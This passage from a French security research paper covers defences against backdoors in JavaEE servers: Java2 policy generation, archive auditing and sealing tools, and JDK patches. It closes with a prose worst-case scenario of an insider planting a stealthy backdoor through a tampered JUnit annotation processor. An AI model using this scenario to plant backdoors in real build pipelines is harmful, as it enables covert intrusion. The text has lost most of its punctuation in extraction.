grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
